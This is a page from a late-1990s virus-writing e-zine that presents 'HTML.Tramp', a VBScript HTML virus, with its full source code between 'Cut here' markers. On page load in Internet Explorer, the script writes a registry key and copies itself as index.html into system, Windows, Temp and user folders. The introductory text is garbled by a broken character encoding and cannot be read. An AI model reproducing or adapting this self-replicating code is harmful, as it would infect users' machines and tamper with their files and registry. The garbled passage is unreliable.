- [Duke's Virus Labs #6] - [Page 14] -

HTML.Tramp
(c) by Duke/SMF

     : HTML.Tramp
         : Duke/SMF
 ண.   : Visual Basic 5
ଠ     : Internet Explorer 4
 ᮧ : 20.04.99

    諠 ।   HTML-ᮢ.    Visual Basic (⠪ 
 ᪠ Virusal Basic ;-))  ࠡ ⮫쪮  IE4  . 
Netscape'     - Netscape     
VB ਯ⮢ (⮬  VB -  Microsoft').  Java  .
⮬  砫  HTML-  VB   ஢ઠ ⨯
㧥,     (⠪ ⠭⭥쪨 ਯ⨪).  
 -      㪠 쬥. 쪮  ⮨ 뢠
 ⠭ VB. ( ᥣ  VB SDK. ,  ᬮ  ,
  ᥡ ⫨ 祫 :)).

   ᮪  祭 ⮩, ⮬     HTML- :)
 ᠭ ⮫쪮  ⮣, ⮡  ⥫ । ⨯
 ᮢ.  﫨    - HTML 䠩 -  
ᮡ  .   - 몭 䠩 , 
 ᥡ   index.html  ४ਨ  ᢮ ᯨ᪠.

    ᪠ 讥  foxz/NVT  beta ஢ ⮣ .


===== Cut here =====
<META NAME="Author" CONTENT="Duke/SMF">
<html><body>

<SCRIPT language=JavaScript>
<!--
var userAgent=navigator.appName;
var userVer=navigator.appVersion;
var agentInfo=userAgent.substring(0, 1);
var agentVer=userVer.substring(0, 1);
if (agentInfo == "M"){
   if (agentVer >="4"){
   alert("Open this page NOW !")
   }
}else {
alert("Please use IE4 for open this page !")
self.close()
history.go(-1)
}
//-->
</SCRIPT>

<SCRIPT language=VBScript>
<!-- HTML.Tramp by Duke/SMF -->
<!-- Not run on Netscape -->
<!--
Sub window_onLoad()
On Error Resume Next
Set WsShell = CreateObject("WScript.Shell")
WsShell.RegWrite "HKEY_LOCAL_MACHINE\SMF\HTML\Name", "Tramp"
Call TrampTramp("Temp")
Call TrampTramp("My Documents")
Call TrampTramp("Windows\Desktop")
Call TrampTramp("Windows\Web")
Call TrampTramp("Windows\Help")
Call TrampTramp("Windows\Temp")
Call TrampTramp("Windows\System")
Call TrampTramp("Windows")
Call TrampTramp("Winnt\Desktop")
Call TrampTramp("Winnt\Help")
Call TrampTramp("Winnt\Temp")
Call TrampTramp("Winnt\System")
Call TrampTramp("Winnt")
Call TrampTramp("Program Files\Internet Explorer")
End Sub

Sub TrampTramp(Dir)
On Error Resume Next
if FileSystemObject.FolderExists(Dir) then
Set FSO = CreateObject("Scripting.FileSystemObject")
Set tramp = FSO.CreateTextFile("C:\" + Dir + "\index.html", True)
Set Around = document.body.createTextRange
    tramp.Write("<META NAME=" + Chr(34) + "Author" + Chr(34) + " CONTENT=" + Chr(34) + "Duke/SMF" + Chr(34)+ ">" + Chr(13) + Chr(10))
    tramp.Write("<html><body>" + Chr(13) + Chr(10))
    tramp.WriteLine Around.htmlText
    tramp.Write("<body><html>"+ Chr(13) + Chr(10) + "Hello people !" + Chr(13) + Chr(10) + "</body></html>")
    tramp.Write(FileContents)
    tramp.Close()
End If
End Sub
</SCRIPT>
<body><html>
Hello people !
</body></html>
===== Cut here =====
